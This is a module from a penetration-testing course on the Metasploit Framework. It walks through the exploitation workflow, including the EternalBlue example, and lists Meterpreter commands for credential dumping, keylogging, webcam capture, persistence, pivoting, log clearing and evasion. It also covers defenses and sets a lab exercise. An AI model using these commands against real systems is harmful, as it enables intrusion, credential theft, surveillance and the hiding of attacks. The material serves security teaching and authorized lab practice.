10. Metasploit & Payload Delivery
The Framework of Compromise
The Metasploit Framework is the world's most widely used penetration testing framework. Maintained by Rapid7, it provides a modular database of thousands of exploits, payloads, auxiliary modules, and post-exploitation tools. It standardizes the exploitation process—allowing security professionals to pair a specific vulnerability with a precisely controlled payload and systematically test organizational defenses.
Understanding Metasploit is essential not just for offensive work but for defense. If you don't understand how exploitation frameworks work, you cannot build meaningful detection rules against them.
🏗️ Metasploit Architecture: The Four Core Components
Metasploit isn't just a collection of exploits—it's a complete modular framework. Understanding its architecture helps you use it strategically rather than just running commands blindly.
- Exploits: Modules that take advantage of specific vulnerabilities to gain code execution on target systems. Each exploit module targets a specific CVE or vulnerability class on a specific platform, version, and configuration. Metasploit includes over 2,000 exploits.
- Payloads: The malicious code that runs after the exploit succeeds. Payloads provide the attacker with a channel back to the target—a shell, a Meterpreter session, or a command stager that downloads and executes additional tools. Payloads are completely modular—the same exploit can deliver different payloads.
- Auxiliary Modules: Non-exploitation modules for scanning, enumeration, fuzzing, credential brute-forcing, and denial of service.
auxiliary/scanner/portscan/tcpis a port scanner.auxiliary/scanner/http/dir_scannerfinds web directories. Metasploit includes over 1,000 auxiliary modules. - Post-Exploitation Modules: Run inside an active Meterpreter session to perform specific tasks—credential dumping, screenshot capture, persistence installation, and privilege escalation automation. These are the modules that execute after the shell is established.
⚙️ Exploits vs. Payloads: The Critical Distinction
The Exploit — Breaking Down the Door
The exploit is the delivery mechanism. It takes advantage of a specific vulnerability to achieve code execution. Its job is to break the lock and open the door. Once it has done that, control passes to the payload. Different exploits target different vulnerabilities on different software—they are completely specific to their target.
An exploit that works against Apache 2.4.49 on Linux will not work against nginx. An exploit for Windows SMB will not work against Linux Samba. Matching the correct exploit to the correct target version is the critical skill developed in Phases 2 and 3 of the hacking lifecycle (Module 08).
The Payload — What Happens After
The payload is the malicious code that executes after the exploit succeeds. In the context of Metasploit, payloads are categorized by how they communicate:
- Singles (Inline): Self-contained payloads that don't need a connection back to Metasploit. They perform a single, specific action—add a user, execute a command, download a file. They're compact but limited in capability.
- Stagers: Small payloads (often under 200 bytes) that establish a communication channel back to Metasploit, then download and execute the full payload (Stage). Used when the exploit has limited space for shellcode. The stager is the cable; the stage is the data flowing through it.
- Stages: The full-featured payload that runs after the stager establishes the connection. Meterpreter is a Stage. It's large but powerful—it would never fit in the initial exploit buffer.
Example: windows/meterpreter/reverse_tcp reads as: Architecture=windows, Stage=meterpreter, Connection=reverse_tcp (victim connects TO attacker). The stager is windows/reverse_tcp. Once the connection is established, the Meterpreter stage DLL is injected into memory.
Reverse Shell vs. Bind Shell
Understanding shell directionality is critical for bypassing firewalls:
Bind Shell: The payload opens a listening port on the TARGET. The ATTACKER connects to the target's port. Simple, but firewalls on the target block inbound connections—this fails when the target is behind a NAT or firewall.
Reverse Shell: The payload on the TARGET connects OUT to the ATTACKER's machine. The attacker listens and waits for the connection. Most firewalls allow outbound connections, making this significantly more reliable in real environments. The attacker's machine must have a routable IP and open listening port (LHOST/LPORT).
Encrypted Reverse Shell (HTTPS): The reverse connection uses HTTPS (port 443) and TLS encryption. Network monitoring tools see legitimate-looking HTTPS traffic. IDS/IPS systems cannot inspect the payload because it's encrypted. This is what commercial C2 frameworks like Cobalt Strike use by default.
💻 Navigating msfconsole — The Complete Workflow
msfconsole is the primary interface for Metasploit. Here is the complete workflow from launch to exploitation:
Launching and Basic Navigation:
msfconsole— Launch Metasploit. Wait for the msf6> prompt.help— Show available commands.banner— Display a random ASCII art banner (a tradition).db_status— Check if the PostgreSQL database is connected. Metasploit uses a database to store scan results, discovered hosts, and credentials.workspace— Create and switch between workspaces to organize different engagements.
Finding the Right Exploit:
search eternalblue— Search for modules related to EternalBlue. Returns all matching exploits, auxiliary, and post modules with their path, disclosure date, rank, and description.search type:exploit platform:windows smb— Search with filters for Windows SMB exploits specifically.search cve:2021-44228— Search by CVE number. Find Log4Shell-related modules.- Module ranks: Excellent (reliable, no side effects) → Great → Good → Normal → Average → Low → Manual. Always prefer Excellent and Great ranked exploits for accuracy.
The Standard Exploitation Workflow:
use exploit/windows/smb/ms17_010_eternalblue— Select the module.info— Display full information about the module: description, targets, required options, references, and reliability notes. Always read this.show options— Display all configurable parameters and their current values. Required fields marked with an asterisk must be set before running.set RHOSTS 10.0.5.7— Set the target IP. Can be a single IP, range (10.0.5.1-254), or CIDR notation (10.0.5.0/24).set RPORT 445— Set the target port (usually pre-configured correctly).set payload windows/x64/meterpreter/reverse_tcp— Select the payload.set LHOST 10.0.0.1— Your IP address (where the reverse shell connects back to).set LPORT 4444— Your listening port.check— (If available) Test if the target is vulnerable without exploiting it. Not all modules support this.exploit(orrun) — Launch the attack.
If the exploit succeeds: You'll see [*] Meterpreter session 1 opened and your prompt changes to meterpreter>.
👑 Meterpreter — Post-Exploitation Mastery
Meterpreter is an advanced, extensible payload that operates entirely in memory on the target system. It leaves no executable on the disk—making it significantly harder to detect with file-scanning antivirus. It communicates over an encrypted channel and provides a rich set of post-exploitation capabilities:
System Information and Navigation:
sysinfo— Display computer name, OS version, architecture, and domain.getuid— Show the current user running the Meterpreter process.getpid— Show the PID of the Meterpreter process. Useful for migration.pwd/ls/cd— Navigate the target filesystem.download C:\\Users\\Admin\\Documents\\secret.docx— Download a file from the target to your machine.upload malware.exe C:\\Windows\\Temp\\— Upload a file to the target.
Privilege Escalation:
getsystem— Attempts multiple techniques (Token Impersonation, Named Pipe Impersonation, Token Duplication) to escalate to NT AUTHORITY\SYSTEM—the highest possible Windows privilege. Often succeeds on unpatched or misconfigured systems with a single command.getuid— After getsystem, confirm privilege escalation succeeded.
Credential Dumping:
hashdump— Dumps the Windows SAM (Security Account Manager) database—the file storing all local user password hashes. These hashes can be cracked offline (Module 12) or used in Pass-the-Hash attacks.load kiwi→creds_all— Load the Mimikatz extension and dump plaintext passwords, NTLM hashes, and Kerberos tickets from LSASS memory. This is the most powerful credential dumping capability in Metasploit.
Surveillance:
keyscan_start→ wait →keyscan_dump— Install and retrieve a software keylogger capturing all keystrokes including passwords typed while the logger was running.screenshare— Stream the victim's live desktop to the attacker's machine in real time.webcam_snap— Take a photo with the target's webcam.run post/multi/recon/local_exploit_suggester— Automatically identifies local privilege escalation exploits the target is likely vulnerable to.
Persistence:
run post/windows/manage/persistence_exe STARTUP=REGISTRY— Installs a persistent backdoor that re-establishes the Meterpreter session after reboot by adding a registry Run key.run post/linux/manage/sshkey_persistence— Adds the attacker's SSH public key to /root/.ssh/authorized_keys for persistent root SSH access.
Pivoting — Reaching Internal Networks:
run post/multi/manage/autoroute— Adds routes through the Meterpreter session to internal subnets the target can reach but the attacker cannot. Subsequent Metasploit operations route through the compromised host as a pivot.portfwd add -l 3389 -p 3389 -r 192.168.2.10— Port forward: connects the attacker's local port 3389 to the internal target 192.168.2.10:3389 through the Meterpreter tunnel. Enables direct RDP to an internal machine.
Covering Tracks:
clearev— Clears the Windows Application, System, and Security event logs.timestomp C:\\backdoor.exe -m "01/01/2019 00:00:00"— Modifies the file's Modified, Accessed, and Created timestamps to blend in with legitimate system files.
🛡️ Detecting and Defending Against Metasploit
- EDR (Endpoint Detection and Response): Modern EDR solutions (CrowdStrike, SentinelOne, Carbon Black) detect Meterpreter's in-memory behavior—process injection, LSASS memory reads, and suspicious process spawning patterns. Even fileless payloads have behavioral signatures.
- Network IDS/IPS: Metasploit's default reverse_tcp payload has well-known network signatures. Snort and Suricata have rules detecting standard Meterpreter traffic. Using HTTPS payloads (reverse_https) defeats signature-based network detection but still creates traffic patterns.
- Credential Guard (Windows 10+): Virtualization-based security isolates LSASS in a separate hypervisor-protected process. Mimikatz and
load kiwicannot access LSASS credentials when Credential Guard is enabled—one of the most important defensive configurations for Windows environments. - Windows Defender Antivirus: Detects standard Metasploit payloads by signature. Attackers encode, obfuscate, and custom-compile payloads to bypass AV. Default payloads will trigger AV on modern Windows systems—requiring additional evasion work.
- Network Segmentation: If the compromised machine cannot reach critical internal systems, pivoting is limited. Firewall rules restricting east-west traffic significantly contain post-exploitation damage.
🧪 Lab Mission: Metasploit Exploitation
Set up a vulnerable target VM (Metasploitable2 is ideal) and complete the following:
- Launch msfconsole and run
db_nmap -sV 10.0.0.Xto scan your target and store results in the Metasploit database. - Run
hostsandservicesto review discovered hosts and services from the database. - Search for an exploit matching a discovered vulnerable service:
search vsftpd 2.3.4. - Use the exploit, configure RHOSTS and your payload (windows or linux meterpreter depending on target).
- Run
exploitand obtain a Meterpreter session. - Run your post-exploitation checklist: sysinfo → getuid → hashdump → run local_exploit_suggester.
- Attempt
getsystemand confirm the result withgetuid. - Practice pivoting: add a route to an internal subnet with autoroute and scan it through the pivot.
✅ Module 10 Summary
- Metasploit's four components are Exploits, Payloads, Auxiliary Modules, and Post-Exploitation Modules. Each serves a distinct role.
- Reverse shells (target connects to attacker) bypass firewalls better than bind shells (attacker connects to target). Use HTTPS payloads to evade network inspection.
- Meterpreter is an in-memory, encrypted payload. It provides credential dumping, privilege escalation, surveillance, persistence, and pivoting capabilities from a single session.
- Defenders use EDR behavioral detection, Credential Guard, and network segmentation to detect and contain Meterpreter sessions—signature-based detection alone is insufficient.
- Always use Metasploit only in authorized environments. Running exploits against unauthorized systems is a criminal offense regardless of whether you succeed.
Knowledge Check
Ready to test your understanding of 10. Metasploit & Payload Delivery?